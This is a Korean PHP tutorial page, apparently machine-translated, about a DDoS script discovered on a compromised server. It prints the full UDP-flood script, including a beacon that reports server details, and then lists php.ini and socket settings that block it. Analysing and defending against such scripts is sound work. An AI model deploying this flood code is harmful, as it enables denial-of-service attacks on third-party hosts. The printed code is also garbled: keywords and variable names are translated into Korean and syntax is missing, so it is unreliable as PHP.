>  기사  >  백엔드 개발  >  PHP DDoS 공격 솔루션_php 팁

PHP DDoS 공격 솔루션_php 팁

WBOY
WBOY원래의
2016-05-16 20:26:081697검색

이 기사의 예에서는 PHP의 Ddos 공격에 대한 솔루션을 설명합니다. 참고할 수 있도록 모든 사람과 공유하세요. 구체적인 분석은 다음과 같습니다.

오늘 내 컴퓨터 중 하나가 갑자기 초당 1G가 넘는 대량의 데이터 패킷을 외부로 보냈습니다. UDP 패킷을 금지하는 정책을 사용했지만 보낼 수는 없었습니다. 컵을 많이 차지해서 드디어 해결 방법을 찾았습니다.

먼저 소스코드를 보면 코드는 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.
set_time_limit(999999)
$호스트 = $_GET['호스트']
$port = $_GET['포트']
$exec_time = $_GET['시간']
$Sendlen = 65535
$패킷 = 0
ignore_user_abort(참)

if (StrLen($host)==0 또는 StrLen($port)==0 또는 StrLen($exec_time)==0){
If (StrLen($_GET['rat'])<>0){
echo $_GET['rat'].$_SERVER["HTTP_HOST"]."|".GetHostByName($_SERVER['SERVER_NAME'])."|".php_uname()."|".$_SERVER['SERVER_SOFTWARE' ].$_GET['쥐']
종료
               }
echo "매개변수는 비워둘 수 없습니다!"; 종료
}

for($i=0;$i<$Sendlen;$i ){
          $out .= "A"
}

$max_time = 시간() $exec_time

동안(1){
$패킷
If(time() > $max_time){
휴식
}
$fp = fsockopen("udp://$host", $port, $errno, $errstr, 5)
            if($fp){
                    fwrite($fp, $out)
                  fclose($fp)
}
}

echo "호스트 보내기:$host:$port

"; echo "흐름 보내기: $packets * ($Sendlen/1024=" . round($Sendlen/1024, 2) . ")kb / 1024 = " . round($packets*$Sendlen/1024/1024, 2) ". mb

";
echo "전송 속도:" . round($packets/$exec_time, 2) . " 팩/초;" . round($packets/$exec_time*$Sendlen/1024/1024, 2)
?>

키코드는 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.$fp = fsockopen("udp://$ip ", $ rand, $errno, $errstr, 5);
방법은 매우 간단합니다. 대상 호스트에 UDP 패킷을 보내고 무한 루프를 정의하면 더 큰 압력이 발생합니다.

이 스크립트를 실행하는 서버는 먼저 자체 네트워크 대역폭, CPU 및 기타 리소스를 많이 소비하기 때문에 이 스크립트를 사용하여 대상 사이트에 압력을 가하려면 실행해야 합니다. 이 스크립트인 DDOS는 fsockopen을 사용하여 외부 요청을 요청하므로 요청이 허용되지 않습니다.

php.ini에

을 설정하면 코드는 다음과 같습니다.

코드 복사 코드는 다음과 같습니다.allow_url_fopen = Off
아직도 이 방법으로 패키지를 보낼 수 있는 경우 코드는 다음과 같습니다.

확장자=php_sockets.dll

으로 변경되었습니다.

;확장자=php_sockets.dll

PHP DDOS가 패키지를 보내는 것을 방지하려면 APACHE, IIS 및 NGINX를 다시 시작하세요.

또한 일부 네티즌들은 시간 초과 없이 스크립트 설정을 비활성화하는 것이 매우 간단하다고 말했습니다.

1. set_time_limit 기능을 비활성화합니다

2. PHP의 안전 모드를 활성화합니다(safe_mode=on).

소켓 기능을 비활성화하려면 모든 소켓 모듈을 직접 비활성화하거나 fsockopen 기능을 비활성화할 수 있습니다. 소켓은 비밀번호를 검색하기 위해 이메일을 보내는 데 자주 사용되므로 안전 모드를 직접 활성화하는 것이 좋습니다. 이 경우 스크립트는 30초마다 시간 초과됩니다. 30초마다 클릭하여 DDOS를 시작할 만큼 외로운 "해커"는 없을 것입니다.

경험:

이러한 문제는 일반적으로 웹사이트 보안으로 인해 발생하므로, 쉽게 침입당하지 않도록 웹사이트 보안과 서버 보안에 주의해야 합니다. 마코피 프렌즈 사용법을 아시는 분은 홈페이지에서 확인하시는 것이 좋을 것 같습니다. 이 기사가 모든 사람의 PHP 프로그래밍 설계에 도움이 되기를 바랍니다.

성명:
본 글의 내용은 네티즌들의 자발적인 기여로 작성되었으며, 저작권은 원저작자에게 있습니다. 본 사이트는 이에 상응하는 법적 책임을 지지 않습니다. 표절이나 침해가 의심되는 콘텐츠를 발견한 경우 admin@php.cn으로 문의하세요.